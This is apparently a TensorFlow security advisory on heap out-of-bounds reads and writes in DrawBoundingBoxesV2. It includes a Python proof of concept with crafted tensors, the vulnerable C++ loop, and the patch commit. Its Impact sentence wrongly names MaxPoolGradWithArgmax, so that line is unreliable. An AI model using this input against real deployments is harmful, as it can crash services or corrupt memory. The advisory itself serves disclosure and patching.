Memory corruption in `DrawBoundingBoxesV2`

Impact

The implementation of tf.raw_ops.MaxPoolGradWithArgmax can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:

import tensorflow as tf

images = tf.fill([10, 96, 0, 1], 0.)
boxes = tf.fill([10, 53, 0], 0.)
colors = tf.fill([0, 1], 0.)

tf.raw_ops.DrawBoundingBoxesV2(images=images, boxes=boxes, colors=colors)

The implementation assumes that the last element of boxes input is 4, as required by the op. Since this is not checked attackers passing values less than 4 can write outside of bounds of heap allocated objects and cause memory corruption:

const auto tboxes = boxes.tensor<T, 3>();
for (int64 bb = 0; bb < num_boxes; ++bb) {
  ...
  const int64 min_box_row = static_cast<float>(tboxes(b, bb, 0)) * (height - 1);
  const int64 max_box_row = static_cast<float>(tboxes(b, bb, 2)) * (height - 1);
  const int64 min_box_col = static_cast<float>(tboxes(b, bb, 1)) * (width - 1);
  const int64 max_box_col = static_cast<float>(tboxes(b, bb, 3)) * (width - 1);
  ...
}

If the last dimension in boxes is less than 4, accesses similar to tboxes(b, bb, 3) will access data outside of bounds. Further during code execution there are also writes to these indices.

Patches

We have patched the issue in GitHub commit 79865b542f9ffdc9caeb255631f7c56f1d4b6517.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.